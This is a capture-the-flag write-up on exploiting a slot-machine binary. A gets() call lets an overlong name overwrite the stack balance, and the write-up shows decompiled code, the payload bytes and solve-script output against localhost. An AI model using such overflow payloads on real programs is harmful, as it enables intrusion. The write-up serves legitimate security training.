No canaries, so potentially a buffer overflow for us to exploit. We'll check the disassembled code in ghidra soon. First, let's run the binary and see if it looks different to part 1.
nclocalhost1337WelcometotheRiggedSlotMachine!Youstartwith $100.Canyoubeattheodds?Enteryourname:catWelcome,cat!Enteryourbetamount (up to $100 perspin): 10Youlost $10.CurrentBalance: $90Enteryourbetamount (up to $100 perspin): 10Youlost $10.CurrentBalance: $80Enteryourbetamount (up to $100 perspin): 10Youlost $10.CurrentBalance: $70Enteryourbetamount (up to $100 perspin): 50Youlost $50.CurrentBalance: $20Enteryourbetamount (up to $100 perspin): 20Youlost $20.CurrentBalance: $0You're out of money! Game over!
It looks similar, apart from the name entry at the beginning and the terrible odds (try your brute force script from part 1 if you like).
I've renamed some of the variables in ghidra.
setup_alarm(5);balance =100;puts("Welcome to the Rigged Slot Machine!");puts("You start with $100. Can you beat the odds?");enter_name(name);do {while( true ) {while( true ) { bet =0;printf("\nEnter your bet amount (up to $%d per spin): ",100); user_input =__isoc99_scanf(&%d,&bet);if (user_input ==1) break;puts("Invalid input! Please enter a numeric value.");clear_input(); }if ((bet <1) || (100< bet)) break;if ((int)balance < bet) {printf("You cannot bet more than your Current Balance: $%d\n",(ulong)balance); }else {play(bet,&balance);if (balance ==1337420) {payout(&balance); } }}printf("Invalid bet amount! Please bet an amount between $1 and $%d.\n",100);} while( true );
Similar to last time, but we need to hit a balance of $1,337,420 within the 5 minute time limit (I might of reduced to 2-3 mins, can't remember). Checking the odds, they are terrible 😫
Soooo.. Back to this buffer overflow! The name buffer shows as 20 bytes in ghidra, but there is no limit to how much the user can provide (dangerous gets() function).
voidenter_name(char*name){puts("Enter your name:");gets(name);printf("Welcome, %s!\n",name);return;}
Let's test this! Enter a long string (over 20) as the name and play some games.
nclocalhost1337WelcometotheRiggedSlotMachine!Youstartwith $100.Canyoubeattheodds?Enteryourname:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWelcome,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Enteryourbetamount (up to $100 perspin): 10Youlost $10.CurrentBalance: $1094795575Enteryourbetamount (up to $100 perspin): 10Youlost $10.CurrentBalance: $1094795565Enteryourbetamount (up to $100 perspin): 10Youlost $10.CurrentBalance: $1094795555
That's a lot of money!! We overwrite the balance on the stack 😌 We need exactly 1337420 though, let's automate it into a script.
pythonsolve.pyREMOTE127.0.0.11337[+] Opening connection to 127.0.0.1 on port 1337: Done[DEBUG] Received 0x64 bytes:b'Welcome to the Rigged Slot Machine!\r\n'b'You start with $100. Can you beat the odds?\r\n'b'Enter your name:\r\n'[DEBUG] Sent 0x19 bytes:0000000041414141414141414141414141414141│AAAA│AAAA│AAAA│AAAA│00000010414141414d6814000a│AAAA│Mh··│·│00000019[*] Switching to interactive mode[DEBUG] Received 0x52 bytes:0000000057656c636f6d652c2041414141414141│Welc│ome,│AAA│AAAA│00000010414141414141414141414141414d6814│AAAA│AAAA│AAAA│AMh·│00000020210d0a0d0a456e74657220796f757220│!···│·Ent│ery│our│0000003062657420616d6f756e74202875702074│bet│amou│nt (│up t│000000406f202431303020706572207370696e29│o $1│00p│ers│pin)│000000503a20│:│00000052Enteryourbetamount (up to $100 perspin): $ 1[DEBUG] Sent 0x2 bytes:b'1\n'[DEBUG] Received 0xaa bytes:b'You lost $1.\r\n'b'Current Balance: $1337420\r\n'b"Congratulations! You've won the jackpot! Here is your flag: INTIGRITI{fake_flag}\r\n"